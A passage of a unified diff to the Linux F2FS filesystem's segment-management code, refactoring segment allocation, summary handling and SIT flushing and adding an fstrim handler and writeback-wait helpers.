(get_seg_entry(sbi, segno + i)->ckpt_valid_blocks) - goto next; - - return segno; - } - return NULL_SEGNO; + update_meta_page(sbi, (void *)sum_blk, blk_addr); } static int is_next_segment_free(struct f2fs_sb_info *sbi, int type) { struct curseg_info *curseg = CURSEG_I(sbi, type); - unsigned int segno = curseg->segno; + unsigned int segno = curseg->segno + 1; struct free_segmap_info *free_i = FREE_I(sbi); - if (segno + 1 < TOTAL_SEGS(sbi) && (segno + 1) % sbi->segs_per_sec) - return !test_bit(segno + 1, free_i->free_segmap); + if (segno < MAIN_SEGS(sbi) && segno % sbi->segs_per_sec) + return !test_bit(segno, free_i->free_segmap); return 0; } @@ -381,7 +933,7 @@ static void get_new_segment(struct f2fs_sb_info *sbi, { struct free_segmap_info *free_i = FREE_I(sbi); unsigned int segno, secno, zoneno; - unsigned int total_zones = TOTAL_SECS(sbi) / sbi->secs_per_zone; + unsigned int total_zones = MAIN_SECS(sbi) / sbi->secs_per_zone; unsigned int hint = *newseg / sbi->segs_per_sec; unsigned int old_zoneno = GET_ZONENO_FROM_SEGNO(sbi, *newseg); unsigned int left_start = hint; @@ -389,22 +941,22 @@ static void get_new_segment(struct f2fs_sb_info *sbi, int go_left = 0; int i; - write_lock(&free_i->segmap_lock); + spin_lock(&free_i->segmap_lock); if (!new_sec && ((*newseg + 1) % sbi->segs_per_sec)) { segno = find_next_zero_bit(free_i->free_segmap, - TOTAL_SEGS(sbi), *newseg + 1); + MAIN_SEGS(sbi), *newseg + 1); if (segno - *newseg < sbi->segs_per_sec - (*newseg % sbi->segs_per_sec)) goto got_it; } find_other_zone: - secno = find_next_zero_bit(free_i->free_secmap, TOTAL_SECS(sbi), hint); - if (secno >= TOTAL_SECS(sbi)) { + secno = find_next_zero_bit(free_i->free_secmap, MAIN_SECS(sbi), hint); + if (secno >= MAIN_SECS(sbi)) { if (dir == ALLOC_RIGHT) { secno = find_next_zero_bit(free_i->free_secmap, - TOTAL_SECS(sbi), 0); - BUG_ON(secno >= TOTAL_SECS(sbi)); + MAIN_SECS(sbi), 0); + f2fs_bug_on(sbi, secno >= MAIN_SECS(sbi)); } else { go_left = 1; left_start = hint - 1; @@ -419,8 +971,8 @@ static void get_new_segment(struct f2fs_sb_info *sbi, continue; } left_start = find_next_zero_bit(free_i->free_secmap, - TOTAL_SECS(sbi), 0); - BUG_ON(left_start >= TOTAL_SECS(sbi)); + MAIN_SECS(sbi), 0); + f2fs_bug_on(sbi, left_start >= MAIN_SECS(sbi)); break; } secno = left_start; @@ -459,10 +1011,10 @@ static void get_new_segment(struct f2fs_sb_info *sbi, } got_it: /* set it as dirty segment in free segmap */ - BUG_ON(test_bit(segno, free_i->free_segmap)); + f2fs_bug_on(sbi, test_bit(segno, free_i->free_segmap)); __set_inuse(sbi, segno); *newseg = segno; - write_unlock(&free_i->segmap_lock); + spin_unlock(&free_i->segmap_lock); } static void reset_curseg(struct f2fs_sb_info *sbi, int type, int modified) @@ -495,7 +1047,7 @@ static void new_curseg(struct f2fs_sb_info *sbi, int type, bool new_sec) int dir = ALLOC_LEFT; write_sum_page(sbi, curseg->sum_blk, - GET_SUM_BLOCK(sbi, curseg->segno)); + GET_SUM_BLOCK(sbi, segno)); if (type == CURSEG_WARM_DATA || type == CURSEG_COLD_DATA) dir = ALLOC_RIGHT; @@ -512,13 +1064,18 @@ static void __next_free_blkoff(struct f2fs_sb_info *sbi, struct curseg_info *seg, block_t start) { struct seg_entry *se = get_seg_entry(sbi, seg->segno); - block_t ofs; - for (ofs = start; ofs < sbi->blocks_per_seg; ofs++) { - if (!f2fs_test_bit(ofs, se->ckpt_valid_map) - && !f2fs_test_bit(ofs, se->cur_valid_map)) - break; - } - seg->next_blkoff = ofs; + int entries = SIT_VBLOCK_MAP_SIZE / sizeof(unsigned long); + unsigned long *target_map = SIT_I(sbi)->tmp_map; + unsigned long *ckpt_map = (unsigned long *)se->ckpt_valid_map; + unsigned long *cur_map = (unsigned long *)se->cur_valid_map; + int i, pos; + + for (i = 0; i < entries; i++) + target_map[i] = ckpt_map[i] | cur_map[i]; + + pos = __find_rev_next_zero_bit(target_map, sbi->blocks_per_seg, start); + + seg->next_blkoff = pos; } /* @@ -536,7 +1093,7 @@ static void __refresh_next_blkoff(struct f2fs_sb_info *sbi, } /* - * This function always allocates a used segment (from dirty seglist) by SSR + * This function always allocates a used segment(from dirty seglist) by SSR * manner, so it should recover the existing segment information of valid blocks */ static void change_curseg(struct f2fs_sb_info *sbi, int type, bool reuse) @@ -594,15 +1151,8 @@ static void allocate_segment_by_default(struct f2fs_sb_info *sbi, { struct curseg_info *curseg = CURSEG_I(sbi, type); - if (force) { + if (force) new_curseg(sbi, type, true); - goto out; - } - - curseg->next_segno = check_prefree_segments(sbi, type); - - if (curseg->next_segno != NULL_SEGNO) - change_curseg(sbi, type, false); else if (type == CURSEG_WARM_NODE) new_curseg(sbi, type, false); else if (curseg->alloc_type == LFS && is_next_segment_free(sbi, type)) @@ -611,148 +1161,74 @@ static void allocate_segment_by_default(struct f2fs_sb_info *sbi, change_curseg(sbi, type, true); else new_curseg(sbi, type, false); -out: - sbi->segment_count[curseg->alloc_type]++; -} - -void allocate_new_segments(struct f2fs_sb_info *sbi) -{ - struct curseg_info *curseg; - unsigned int old_curseg; - int i; - for (i = CURSEG_HOT_DATA; i <= CURSEG_COLD_DATA; i++) { - curseg = CURSEG_I(sbi, i); - old_curseg = curseg->segno; - SIT_I(sbi)->s_ops->allocate_segment(sbi, i, true); - locate_dirty_segment(sbi, old_curseg); - } + stat_inc_seg_type(sbi, curseg); } -static const struct segment_allocation default_salloc_ops = { - .allocate_segment = allocate_segment_by_default, -}; - -static void f2fs_end_io_write(struct bio *bio, int err) +static void __allocate_new_segments(struct f2fs_sb_info *sbi, int type) { - const int uptodate = test_bit(BIO_UPTODATE, &bio->bi_flags); - struct bio_vec *bvec = bio->bi_io_vec + bio->bi_vcnt - 1; - struct bio_private *p = bio->bi_private; - - do { - struct page *page = bvec->bv_page; - - if (--bvec >= bio->bi_io_vec) - prefetchw(&bvec->bv_page->flags); - if (!uptodate) { - SetPageError(page); - if (page->mapping) - set_bit(AS_EIO, &page->mapping->flags); - set_ckpt_flags(p->sbi->ckpt, CP_ERROR_FLAG); - p->sbi->sb->s_flags |= MS_RDONLY; - } - end_page_writeback(page); - dec_page_count(p->sbi, F2FS_WRITEBACK); - } while (bvec >= bio->bi_io_vec); + struct curseg_info *curseg = CURSEG_I(sbi, type); + unsigned int old_segno; - if (p->is_sync) - complete(p->wait); - kfree(p); - bio_put(bio); + old_segno = curseg->segno; + SIT_I(sbi)->s_ops->allocate_segment(sbi, type, true); + locate_dirty_segment(sbi, old_segno); } -struct bio *f2fs_bio_alloc(struct block_device *bdev, int npages) +void allocate_new_segments(struct f2fs_sb_info *sbi) { - struct bio *bio; - struct bio_private *priv; -retry: - priv = kmalloc(sizeof(struct bio_private), GFP_NOFS); - if (!priv) { - cond_resched(); - goto retry; - } + int i; - /* No failure on bio allocation */ - bio = bio_alloc(GFP_NOIO, npages); - bio->bi_bdev = bdev; - bio->bi_private = priv; - return bio; + for (i = CURSEG_HOT_DATA; i <= CURSEG_COLD_DATA; i++) + __allocate_new_segments(sbi, i); } -static void do_submit_bio(struct f2fs_sb_info *sbi, - enum page_type type, bool sync) -{ - int rw = sync ? WRITE_SYNC : WRITE; - enum page_type btype = type > META ? META : type; - - if (type >= META_FLUSH) - rw = WRITE_FLUSH_FUA; - - if (btype == META) - rw |= REQ_META; - - if (sbi->bio[btype]) { - struct bio_private *p = sbi->bio[btype]->bi_private; - p->sbi = sbi; - sbi->bio[btype]->bi_end_io = f2fs_end_io_write; - - trace_f2fs_do_submit_bio(sbi->sb, btype, sync, sbi->bio[btype]); - - if (type == META_FLUSH) { - DECLARE_COMPLETION_ONSTACK(wait); - p->is_sync = true; - p->wait = &wait; - submit_bio(rw, sbi->bio[btype]); - wait_for_completion(&wait); - } else { - p->is_sync = false; - submit_bio(rw, sbi->bio[btype]); - } - sbi->bio[btype] = NULL; - } -} +static const struct segment_allocation default_salloc_ops = { + .allocate_segment = allocate_segment_by_default, +}; -void f2fs_submit_bio(struct f2fs_sb_info *sbi, enum page_type type, bool sync) +int f2fs_trim_fs(struct f2fs_sb_info *sbi, struct fstrim_range *range) { - down_write(&sbi->bio_sem); - do_submit_bio(sbi, type, sync); - up_write(&sbi->bio_sem); -} + __u64 start = F2FS_BYTES_TO_BLK(range->start); + __u64 end = start + F2FS_BYTES_TO_BLK(range->len) - 1; + unsigned int start_segno, end_segno; + struct cp_control cpc; -static void submit_write_page(struct f2fs_sb_info *sbi, struct page *page, - block_t blk_addr, enum page_type type) -{ - struct block_device *bdev = sbi->sb->s_bdev; + if (start >= MAX_BLKADDR(sbi) || range->len < sbi->blocksize) + return -EINVAL; - verify_block_addr(sbi, blk_addr); + cpc.trimmed = 0; + if (end <= MAIN_BLKADDR(sbi)) + goto out; - down_write(&sbi->bio_sem); + /* start/end segment number in main_area */ + start_segno = (start <= MAIN_BLKADDR(sbi)) ? 0 : GET_SEGNO(sbi, start); + end_segno = (end >= MAX_BLKADDR(sbi)) ? MAIN_SEGS(sbi) - 1 : + GET_SEGNO(sbi, end); + cpc.reason = CP_DISCARD; + cpc.trim_minlen = max_t(__u64, 1, F2FS_BYTES_TO_BLK(range->minlen)); - inc_page_count(sbi, F2FS_WRITEBACK); + /* do checkpoint to issue discard commands safely */ + for (; start_segno <= end_segno; start_segno = cpc.trim_end + 1) { + cpc.trim_start = start_segno; - if (sbi->bio[type] && sbi->last_block_in_bio[type] != blk_addr - 1) - do_submit_bio(sbi, type, false); -alloc_new: - if (sbi->bio[type] == NULL) { - sbi->bio[type] = f2fs_bio_alloc(bdev, max_hw_blocks(sbi)); - sbi->bio[type]->bi_sector = SECTOR_FROM_BLOCK(sbi, blk_addr); - /* - * The end_io will be assigned at the sumbission phase. - * Until then, let bio_add_page() merge consecutive IOs as much - * as possible. - */ - } + if (sbi->discard_blks == 0) + break; + else if (sbi->discard_blks < BATCHED_TRIM_BLOCKS(sbi)) + cpc.trim_end = end_segno; + else + cpc.trim_end = min_t(unsigned int, + rounddown(start_segno + + BATCHED_TRIM_SEGMENTS(sbi), + sbi->segs_per_sec) - 1, end_segno); - if (bio_add_page(sbi->bio[type], page, PAGE_CACHE_SIZE, 0) < - PAGE_CACHE_SIZE) { - do_submit_bio(sbi, type, false); - goto alloc_new; + mutex_lock(&sbi->gc_mutex); + write_checkpoint(sbi, &cpc); + mutex_unlock(&sbi->gc_mutex); } - - sbi->last_block_in_bio[type] = blk_addr; - - up_write(&sbi->bio_sem); - trace_f2fs_submit_write_page(page, blk_addr, type); +out: + range->len = F2FS_BLK_TO_BYTES(cpc.trimmed); + return 0; } static bool __has_curseg_space(struct f2fs_sb_info *sbi, int type) @@ -781,8 +1257,8 @@ static int __get_segment_type_4(struct page *page, enum page_type p_type) else return CURSEG_COLD_DATA; } else { - if (IS_DNODE(page) && !is_cold_node(page)) - return CURSEG_HOT_NODE; + if (IS_DNODE(page) && is_cold_node(page)) + return CURSEG_WARM_NODE; else return CURSEG_COLD_NODE; } @@ -795,7 +1271,7 @@ static int __get_segment_type_6(struct page *page, enum page_type p_type) if (S_ISDIR(inode->i_mode)) return CURSEG_HOT_DATA; - else if (is_cold_data(page) || is_cold_file(inode)) + else if (is_cold_data(page) || file_is_cold(inode)) return CURSEG_COLD_DATA; else return CURSEG_WARM_DATA; @@ -810,130 +1286,159 @@ static int __get_segment_type_6(struct page *page, enum page_type p_type) static int __get_segment_type(struct page *page, enum page_type p_type) { - struct f2fs_sb_info *sbi = F2FS_SB(page->mapping->host->i_sb); - switch (sbi->active_logs) { + switch (F2FS_P_SB(page)->active_logs) { case 2: return __get_segment_type_2(page, p_type); case 4: return __get_segment_type_4(page, p_type); } /* NR_CURSEG_TYPE(6) logs by default */ - BUG_ON(sbi->active_logs != NR_CURSEG_TYPE); + f2fs_bug_on(F2FS_P_SB(page), + F2FS_P_SB(page)->active_logs != NR_CURSEG_TYPE); return __get_segment_type_6(page, p_type); } -static void do_write_page(struct f2fs_sb_info *sbi, struct page *page, - block_t old_blkaddr, block_t *new_blkaddr, - struct f2fs_summary *sum, enum page_type p_type) +void allocate_data_block(struct f2fs_sb_info *sbi, struct page *page, + block_t old_blkaddr, block_t *new_blkaddr, + struct f2fs_summary *sum, int type) { struct sit_info *sit_i = SIT_I(sbi); struct curseg_info *curseg; - unsigned int old_cursegno; - int type; + bool direct_io = (type == CURSEG_DIRECT_IO); + + type = direct_io ? CURSEG_WARM_DATA : type; - type = __get_segment_type(page, p_type); curseg = CURSEG_I(sbi, type); mutex_lock(&curseg->curseg_mutex); + mutex_lock(&sit_i->sentry_lock); + + /* direct_io'ed data is aligned to the segment for better performance */ + if (direct_io && curseg->next_blkoff && + !has_not_enough_free_secs(sbi, 0)) + __allocate_new_segments(sbi, type); *new_blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); - old_cursegno = curseg->segno; /* * __add_sum_entry should be resided under the curseg_mutex * because, this function updates a summary entry in the * current summary block. */ - __add_sum_entry(sbi, type, sum, curseg->next_blkoff); + __add_sum_entry(sbi, type, sum); - mutex_lock(&sit_i->sentry_lock); __refresh_next_blkoff(sbi, curseg); - sbi->block_count[curseg->alloc_type]++; + stat_inc_block_count(sbi, curseg); + + if (!__has_curseg_space(sbi, type)) + sit_i->s_ops->allocate_segment(sbi, type, false); /* * SIT information should be updated before segment allocation, * since SSR needs latest valid block information. */ refresh_sit_entry(sbi, old_blkaddr, *new_blkaddr); - if (!__has_curseg_space(sbi, type)) - sit_i->s_ops->allocate_segment(sbi, type, false); - - locate_dirty_segment(sbi, old_cursegno); - locate_dirty_segment(sbi, GET_SEGNO(sbi, old_blkaddr)); mutex_unlock(&sit_i->sentry_lock); - if (p_type == NODE) + if (page && IS_NODESEG(type)) fill_node_footer_blkaddr(page, NEXT_FREE_BLKADDR(sbi, curseg)); - /* writeout dirty page into bdev */ - submit_write_page(sbi, page, *new_blkaddr, p_type); - mutex_unlock(&curseg->curseg_mutex); } +static void do_write_page(struct f2fs_summary *sum, struct f2fs_io_info *fio) +{ + int type = __get_segment_type(fio->page, fio->type); + + allocate_data_block(fio->sbi, fio->page, fio->blk_addr, + &fio->blk_addr, sum, type); + + /* writeout dirty page into bdev */ + f2fs_submit_page_mbio(fio); +} + void write_meta_page(struct f2fs_sb_info *sbi, struct page *page) { + struct f2fs_io_info fio = { + .sbi = sbi, + .type = META, + .rw = WRITE_SYNC | REQ_META | REQ_PRIO, + .blk_addr = page->index, + .page = page, + .encrypted_page = NULL, + }; + + if (unlikely(page->index >= MAIN_BLKADDR(sbi))) + fio.rw &= ~REQ_META; + set_page_writeback(page); - submit_write_page(sbi, page, page->index, META); + f2fs_submit_page_mbio(&fio); } -void write_node_page(struct f2fs_sb_info *sbi, struct page *page, - unsigned int nid, block_t old_blkaddr, block_t *new_blkaddr) +void write_node_page(unsigned int nid, struct f2fs_io_info *fio) { struct f2fs_summary sum; + set_summary(&sum, nid, 0, 0); - do_write_page(sbi, page, old_blkaddr, new_blkaddr, &sum, NODE); + do_write_page(&sum, fio); } -void write_data_page(struct inode *inode, struct page *page, - struct dnode_of_data *dn, block_t old_blkaddr, - block_t *new_blkaddr) +void write_data_page(struct dnode_of_data *dn, struct f2fs_io_info *fio) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = fio->sbi; struct f2fs_summary sum; struct node_info ni; - BUG_ON(old_blkaddr == NULL_ADDR); + f2fs_bug_on(sbi, dn->data_blkaddr == NULL_ADDR); get_node_info(sbi, dn->nid, &ni); set_summary(&sum, dn->nid, dn->ofs_in_node, ni.version); - - do_write_page(sbi, page, old_blkaddr, - new_blkaddr, &sum, DATA); + do_write_page(&sum, fio); + dn->data_blkaddr = fio->blk_addr; } -void rewrite_data_page(struct f2fs_sb_info *sbi, struct page *page, - block_t old_blk_addr) +void rewrite_data_page(struct f2fs_io_info *fio) { - submit_write_page(sbi, page, old_blk_addr, DATA); + stat_inc_inplace_blocks(fio->sbi); + f2fs_submit_page_mbio(fio); } -void recover_data_page(struct f2fs_sb_info *sbi, - struct page *page, struct f2fs_summary *sum, - block_t old_blkaddr, block_t new_blkaddr) +static void __f2fs_replace_block(struct f2fs_sb_info *sbi, + struct f2fs_summary *sum, + block_t old_blkaddr, block_t new_blkaddr, + bool recover_curseg) { struct sit_info *sit_i = SIT_I(sbi); struct curseg_info *curseg; unsigned int segno, old_cursegno; struct seg_entry *se; int type; + unsigned short old_blkoff; segno = GET_SEGNO(sbi, new_blkaddr); se = get_seg_entry(sbi, segno); type = se->type; - if (se->valid_blocks == 0 && !IS_CURSEG(sbi, segno)) { - if (old_blkaddr == NULL_ADDR) - type = CURSEG_COLD_DATA; - else + if (!recover_curseg) { + /* for recovery flow */ + if (se->valid_blocks == 0 && !IS_CURSEG(sbi, segno)) { + if (old_blkaddr == NULL_ADDR) + type = CURSEG_COLD_DATA; + else + type = CURSEG_WARM_DATA; + } + } else { + if (!IS_CURSEG(sbi, segno)) type = CURSEG_WARM_DATA; } + curseg = CURSEG_I(sbi, type); mutex_lock(&curseg->curseg_mutex); mutex_lock(&sit_i->sentry_lock); old_cursegno = curseg->segno; + old_blkoff = curseg->next_blkoff; /* change the current segment */ if (segno != curseg->segno) { @@ -941,66 +1446,111 @@ void recover_data_page(struct f2fs_sb_info *sbi, change_curseg(sbi, type, true); } - curseg->next_blkoff = GET_SEGOFF_FROM_SEG0(sbi, new_blkaddr) & - (sbi->blocks_per_seg - 1); - __add_sum_entry(sbi, type, sum, curseg->next_blkoff); + curseg->next_blkoff = GET_BLKOFF_FROM_SEG0(sbi, new_blkaddr); + __add_sum_entry(sbi, type, sum); - refresh_sit_entry(sbi, old_blkaddr, new_blkaddr); + if (!recover_curseg) + update_sit_entry(sbi, new_blkaddr, 1); + if (GET_SEGNO(sbi, old_blkaddr) != NULL_SEGNO) + update_sit_entry(sbi, old_blkaddr, -1); - locate_dirty_segment(sbi, old_cursegno); locate_dirty_segment(sbi, GET_SEGNO(sbi, old_blkaddr)); + locate_dirty_segment(sbi, GET_SEGNO(sbi, new_blkaddr)); + + locate_dirty_segment(sbi, old_cursegno); + + if (recover_curseg) { + if (old_cursegno != curseg->segno) { + curseg->next_segno = old_cursegno; + change_curseg(sbi, type, true); + } + curseg->next_blkoff = old_blkoff; + } mutex_unlock(&sit_i->sentry_lock); mutex_unlock(&curseg->curseg_mutex); } -void rewrite_node_page(struct f2fs_sb_info *sbi, - struct page *page, struct f2fs_summary *sum, - block_t old_blkaddr, block_t new_blkaddr) +void f2fs_replace_block(struct f2fs_sb_info *sbi, struct dnode_of_data *dn, + block_t old_addr, block_t new_addr, + unsigned char version, bool recover_curseg) { - struct sit_info *sit_i = SIT_I(sbi); - int type = CURSEG_WARM_NODE; - struct curseg_info *curseg; - unsigned int segno, old_cursegno; - block_t next_blkaddr = next_blkaddr_of_node(page); - unsigned int next_segno = GET_SEGNO(sbi, next_blkaddr); + struct f2fs_summary sum; - curseg = CURSEG_I(sbi, type); + set_summary(&sum, dn->nid, dn->ofs_in_node, version); - mutex_lock(&curseg->curseg_mutex); - mutex_lock(&sit_i->sentry_lock); + __f2fs_replace_block(sbi, &sum, old_addr, new_addr, recover_curseg); - segno = GET_SEGNO(sbi, new_blkaddr); - old_cursegno = curseg->segno; + dn->data_blkaddr = new_addr; + set_data_blkaddr(dn); + f2fs_update_extent_cache(dn); +} - /* change the current segment */ - if (segno != curseg->segno) { - curseg->next_segno = segno; - change_curseg(sbi, type, true); +static inline bool is_merged_page(struct f2fs_sb_info *sbi, + struct page *page, enum page_type type) +{ + enum page_type btype = PAGE_TYPE_OF_BIO(type); + struct f2fs_bio_info *io = &sbi->write_io[btype]; + struct bio_vec *bvec; + struct page *target; + int i; + + down_read(&io->io_rwsem); + if (!io->bio) { + up_read(&io->io_rwsem); + return false; } - curseg->next_blkoff = GET_SEGOFF_FROM_SEG0(sbi, new_blkaddr) & - (sbi->blocks_per_seg - 1); - __add_sum_entry(sbi, type, sum, curseg->next_blkoff); - /* change the current log to the next block addr in advance */ - if (next_segno != segno) { - curseg->next_segno = next_segno; - change_curseg(sbi, type, true); + bio_for_each_segment_all(bvec, io->bio, i) { + + if (bvec->bv_page->mapping) { + target = bvec->bv_page; + } else { + struct f2fs_crypto_ctx *ctx; + + /* encrypted page */ + ctx = (struct f2fs_crypto_ctx *)page_private( + bvec->bv_page); + target = ctx->w.control_page; + } + + if (page == target) { + up_read(&io->io_rwsem); + return true; + } } - curseg->next_blkoff = GET_SEGOFF_FROM_SEG0(sbi, next_blkaddr) & - (sbi->blocks_per_seg - 1); - /* rewrite node page */ - set_page_writeback(page); - submit_write_page(sbi, page, new_blkaddr, NODE); - f2fs_submit_bio(sbi, NODE, true); - refresh_sit_entry(sbi, old_blkaddr, new_blkaddr); + up_read(&io->io_rwsem); + return false; +} - locate_dirty_segment(sbi, old_cursegno); - locate_dirty_segment(sbi, GET_SEGNO(sbi, old_blkaddr)); +void f2fs_wait_on_page_writeback(struct page *page, + enum page_type type) +{ + if (PageWriteback(page)) { + struct f2fs_sb_info *sbi = F2FS_P_SB(page); - mutex_unlock(&sit_i->sentry_lock); - mutex_unlock(&curseg->curseg_mutex); + if (is_merged_page(sbi, page, type)) + f2fs_submit_merged_bio(sbi, type, WRITE); + wait_on_page_writeback(page); + } +} + +void f2fs_wait_on_encrypted_page_writeback(struct f2fs_sb_info *sbi, + block_t blkaddr) +{ + struct page *cpage; + + if (blkaddr == NEW_ADDR) + return; + + f2fs_bug_on(sbi, blkaddr == NULL_ADDR); + + cpage = find_lock_page(META_MAPPING(sbi), blkaddr); + if (cpage) { + f2fs_wait_on_page_writeback(cpage, DATA); + f2fs_put_page(cpage, 1); + } } static int read_compacted_summaries(struct f2fs_sb_info *sbi) @@ -1079,7 +1629,7 @@ static int read_normal_summaries(struct f2fs_sb_info *sbi, int type) segno = le32_to_cpu(ckpt->cur_data_segno[type]); blk_off = le16_to_cpu(ckpt->cur_data_blkoff[type - CURSEG_HOT_DATA]); - if (is_set_ckpt_flags(ckpt, CP_UMOUNT_FLAG)) + if (__exist_node_summaries(sbi)) blk_addr = sum_blk_addr(sbi, NR_CURSEG_TYPE, type); else blk_addr = sum_blk_addr(sbi, NR_CURSEG_DATA_TYPE, type); @@ -1088,7 +1638,7 @@ static int read_normal_summaries(struct f2fs_sb_info *sbi, int type) CURSEG_HOT_NODE]); blk_off = le16_to_cpu(ckpt->cur_node_blkoff[type - CURSEG_HOT_NODE]); - if (is_set_ckpt_flags(ckpt, CP_UMOUNT_FLAG)) + if (__exist_node_summaries(sbi)) blk_addr = sum_blk_addr(sbi, NR_CURSEG_NODE_TYPE, type - CURSEG_HOT_NODE); else @@ -1099,7 +1649,7 @@ static int read_normal_summaries(struct f2fs_sb_info *sbi, int type) sum = (struct f2fs_summary_block *)page_address(new); if (IS_NODESEG(type)) { - if (is_set_ckpt_flags(ckpt, CP_UMOUNT_FLAG)) { + if (__exist_node_summaries(sbi)) { struct f2fs_summary *ns = &sum->entries[0]; int i; for (i = 0; i < sbi->blocks_per_seg; i++, ns++) { @@ -1107,9 +1657,12 @@ static int read_normal_summaries(struct f2fs_sb_info *sbi, int type) ns->ofs_in_node = 0; } } else { - if (restore_node_summary(sbi, segno, sum)) { + int err; + + err = restore_node_summary(sbi, segno, sum); + if (err) { f2fs_put_page(new, 1); - return -EINVAL; + return err; } } } @@ -1130,17 +1683,31 @@ static int read_normal_summaries(struct f2fs_sb_info *sbi, int type) static int restore_curseg_summaries(struct f2fs_sb_info *sbi) { int type = CURSEG_HOT_DATA; + int err; if (is_set_ckpt_flags(F2FS_CKPT(sbi), CP_COMPACT_SUM_FLAG)) { + int npages = npages_for_summary_flush(sbi, true); + + if (npages >= 2) + ra_meta_pages(sbi, start_sum_block(sbi), npages, + META_CP, true); + /* restore for compacted data summary */ if (read_compacted_summaries(sbi)) return -EINVAL; type = CURSEG_HOT_NODE; } - for (; type <= CURSEG_COLD_NODE; type++) - if (read_normal_summaries(sbi, type)) - return -EINVAL; + if (__exist_node_summaries(sbi)) + ra_meta_pages(sbi, sum_blk_addr(sbi, NR_CURSEG_TYPE, type), + NR_CURSEG_TYPE - type, META_CP, true); + + for (; type <= CURSEG_COLD_NODE; type++) { + err = read_normal_summaries(sbi, type); + if (err) + return err; + } + return 0; } @@ -1167,8 +1734,6 @@ static void write_compacted_summaries(struct f2fs_sb_info *sbi, block_t blkaddr) SUM_JOURNAL_SIZE); written_size += SUM_JOURNAL_SIZE; - set_page_dirty(page); - /* Step 3: write summary entries */ for (i = CURSEG_HOT_DATA; i <= CURSEG_COLD_DATA; i++) { unsigned short blkoff; @@ -1187,18 +1752,20 @@ static void write_compacted_summaries(struct f2fs_sb_info *sbi, block_t blkaddr) summary = (struct f2fs_summary *)(kaddr + written_size); *summary = seg_i->sum_blk->entries[j]; written_size += SUMMARY_SIZE; - set_page_dirty(page); if (written_size + SUMMARY_SIZE <= PAGE_CACHE_SIZE - SUM_FOOTER_SIZE) continue; + set_page_dirty(page); f2fs_put_page(page, 1); page = NULL; } } - if (page) + if (page) { + set_page_dirty(page); f2fs_put_page(page, 1); + } } static void write_normal_summaries(struct f2fs_sb_info *sbi, @@ -1228,9 +1795,7 @@ void write_data_summaries(struct f2fs_sb_info *sbi, block_t start_blk) void write_node_summaries(struct f2fs_sb_info *sbi, block_t start_blk) { - if (is_set_ckpt_flags(F2FS_CKPT(sbi), CP_UMOUNT_FLAG)) - write_normal_summaries(sbi, start_blk, CURSEG_HOT_NODE); - return; + write_normal_summaries(sbi, start_blk, CURSEG_HOT_NODE); } int lookup_journal_in_cursum(struct f2fs_summary_block *sum, int type, @@ -1258,17 +1823,7 @@ int lookup_journal_in_cursum(struct f2fs_summary_block *sum, int type, static struct page *get_current_sit_page(struct f2fs_sb_info *sbi, unsigned int segno) { - struct sit_info *sit_i = SIT_I(sbi); - unsigned int offset = SIT_BLOCK_OFFSET(sit_i, segno); - block_t blk_addr = sit_i->sit_base_addr + offset; - - check_seg_range(sbi, segno); - - /* calculate sit block address */ - if (f2fs_test_bit(offset, sit_i->sit_bitmap)) - blk_addr += sit_i->sit_blocks; - - return get_meta_page(sbi, blk_addr); + return get_meta_page(sbi, current_sit_addr(sbi, segno)); } static struct page *get_next_sit_page(struct f2fs_sb_info *sbi, @@ -1285,7 +1840,7 @@ static struct page *get_next_sit_page(struct f2fs_sb_info *sbi, /* get current sit block page without lock */ src_page = get_meta_page(sbi, src_off); dst_page = grab_meta_page(sbi, dst_off); - BUG_ON(PageDirty(src_page)); + f2fs_bug_on(sbi, PageDirty(src_page)); src_addr = page_address(src_page); dst_addr = page_address(dst_page); @@ -1299,97 +1854,192 @@ static struct page *get_next_sit_page(struct f2fs_sb_info *sbi, return dst_page; } -static bool flush_sits_in_journal(struct f2fs_sb_info *sbi) +static struct sit_entry_set *grab_sit_entry_set(void) +{ + struct sit_entry_set *ses = + f2fs_kmem_cache_alloc(sit_entry_set_slab, GFP_NOFS); + + ses->entry_cnt = 0; + INIT_LIST_HEAD(&ses->set_list); + return ses; +} + +static void release_sit_entry_set(struct sit_entry_set *ses) +{ + list_del(&ses->set_list); + kmem_cache_free(sit_entry_set_slab, ses); +} + +static void adjust_sit_entry_set(struct sit_entry_set *ses, + struct list_head *head) +{ + struct sit_entry_set *next = ses; + + if (list_is_last(&ses->set_list, head)) + return; + + list_for_each_entry_continue(next, head, set_list) + if (ses->entry_cnt <= next->entry_cnt) + break; + + list_move_tail(&ses->set_list, &next->set_list); +} + +static void add_sit_entry(unsigned int segno, struct list_head *head) +{ + struct sit_entry_set *ses; + unsigned int start_segno = START_SEGNO(segno); + + list_for_each_entry(ses, head, set_list) { + if (ses->start_segno == start_segno) { + ses->entry_cnt++; + adjust_sit_entry_set(ses, head); + return; + } + } + + ses = grab_sit_entry_set(); + + ses->start_segno = start_segno; + ses->entry_cnt++; + list_add(&ses->set_list, head); +} + +static void add_sits_in_set(struct f2fs_sb_info *sbi) +{ + struct f2fs_sm_info *sm_info = SM_I(sbi); + struct list_head *set_list = &sm_info->sit_entry_set; + unsigned long *bitmap = SIT_I(sbi)->dirty_sentries_bitmap; + unsigned int segno; + + for_each_set_bit(segno, bitmap, MAIN_SEGS(sbi)) + add_sit_entry(segno, set_list); +} + +static void remove_sits_in_journal(struct f2fs_sb_info *sbi) { struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_COLD_DATA); struct f2fs_summary_block *sum = curseg->sum_blk; int i; - /* - * If the journal area in the current summary is full of sit entries, - * all the sit entries will be flushed. Otherwise the sit entries - * are not able to replace with newly hot sit entries. - */ - if (sits_in_cursum(sum) >= SIT_JOURNAL_ENTRIES) { - for (i = sits_in_cursum(sum) - 1; i >= 0; i--) { - unsigned int segno; - segno = le32_to_cpu(segno_in_journal(sum, i)); - __mark_sit_entry_dirty(sbi, segno); - } - update_sits_in_cursum(sum, -sits_in_cursum(sum)); - return 1; + for (i = sits_in_cursum(sum) - 1; i >= 0; i--) { + unsigned int segno; + bool dirtied; + + segno = le32_to_cpu(segno_in_journal(sum, i)); + dirtied = __mark_sit_entry_dirty(sbi, segno); + + if (!dirtied) + add_sit_entry(segno, &SM_I(sbi)->sit_entry_set); } - return 0; + update_sits_in_cursum(sum, -sits_in_cursum(sum)); } /* * CP calls this function, which flushes SIT entries including sit_journal, * and moves prefree segs to free segs. */ -void flush_sit_entries(struct f2fs_sb_info *sbi) +void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) { struct sit_info *sit_i = SIT_I(sbi); unsigned long *bitmap = 